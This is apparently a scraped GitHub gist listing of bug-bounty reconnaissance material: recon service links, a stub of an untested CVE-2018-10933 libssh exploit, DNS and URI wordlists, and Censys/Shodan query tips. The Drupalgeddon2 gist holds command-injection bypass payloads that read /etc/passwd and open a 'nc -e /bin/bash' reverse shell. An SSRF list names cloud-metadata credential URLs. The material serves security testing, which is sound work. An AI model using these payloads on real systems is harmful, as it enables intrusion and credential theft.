- https://scans.io/
- https://commoncrawl.org/
- https://web.archive.org/ (For JS snippets this can be extremely handy. See killbox.sh below that was written for a HackerOne event.)
- https://www.shodan.io/
- https://opendata.rapid7.com/
- https://www.virustotal.com/en/documentation/public-api/ (You can fetch previously-scanned URLs via the API.)
- https://securitytrails.com/
- https://threatcrowd.org/
- https://dnsdumpster.com/
- https://crt.sh/
Ajay Kulal cydefenser
mlosapio
/ CVE-2018-10933-test
Last active
February 3, 2024 18:50
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| # Based on https://www.openwall.com/lists/oss-security/2018/08/16/1 | |
| # untested CVE-2018-10933 | |
| import sys, paramiko | |
| import logging | |
| username = sys.argv[1] | |
| hostname = sys.argv[2] | |
| command = sys.argv[3] |
orangetw
/ all.txt
Created
September 7, 2018 14:36
— forked from jhaddix/all.txt
all wordlists from every dns enumeration tool... ever. Please excuse the lewd entries =/
This file has been truncated, but you can view the full file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| . | |
| .. | |
| ........ | |
| @ | |
| * | |
| *.* | |
| *.*.* | |
| 🎠|
haccer
/ URI Schemes
Created
August 27, 2018 00:27
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| aaa | |
| aaas | |
| about | |
| acap | |
| acct | |
| acr | |
| adiumxtra | |
| afp | |
| afs | |
| aim |
EdOverflow
/ a-recon-services-list-for-liveoverflow.md
Last active
April 29, 2021 13:29
ehsahil
/ censys-basics.txt
Last active
December 16, 2018 21:34
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| -Commands | |
| 443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:domain.com | |
| “hackme.tld” + internal | |
| “hackme.tld” + sandbox | |
| “hackme.tld” + Staging |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Basics Filters: | |
| 1. City | |
| Example City:New Delhi. | |
| 2. Country | |
| Example: Country:INDIA | |
| 3. Port | |
| Example:Ports: 8443, 8080, 8180 etc |
g0tmi1k
/ drupalgeddon2_CVE-2018-7600_SA-CORE-2018-002.md
Last active
February 16, 2023 12:37
drupalgeddon2 / SA-CORE-2018-002 / CVE-2018-7600 cURL (PoC)
CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE (SA-CORE-2018-002)
Source: https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
Improved (Ruby) exploit ~ http://github.com/dreadlocked/Drupalgeddon2/ // https://www.exploit-db.com/exploits/44449/
-
/???/c?t /???/pa??wd
-
/???/n??t -e /???/b??h 127.0.0.1 2333
-
/b$6in/nc$6at -e /bi$6n/ba$6sh 127.0.0.1 2333
-
/b"in/n"c\at -e /b'in/ba's\h 127.0.0.1 2333
-
IFS=,;
cat<<<cat,/etc/passwd -
cat$IFS/etc/passwd
-
cat${IFS}/etc/passwd
-
cat</etc/passwd
-
{cat,/etc/passwd} OR {ls,-las,/var} with args
vdb-sander
/ recon.py
Last active
August 24, 2018 20:26
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- coding: utf-8 -*- | |
| #!/usr/bin/env python | |
| import subprocess | |
| import multiprocessing | |
| from multiprocessing import Process, Queue | |
| import os | |
| import time | |
| import fileinput | |
| import atexit | |
| import sys |
jhaddix
/ cloud_metadata.txt
Last active
October 13, 2025 08:38
— forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## AWS | |
| # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
| http://169.254.169.254/latest/user-data | |
| http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/ami-id | |
| http://169.254.169.254/latest/meta-data/reservation-id | |
| http://169.254.169.254/latest/meta-data/hostname | |
| http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key |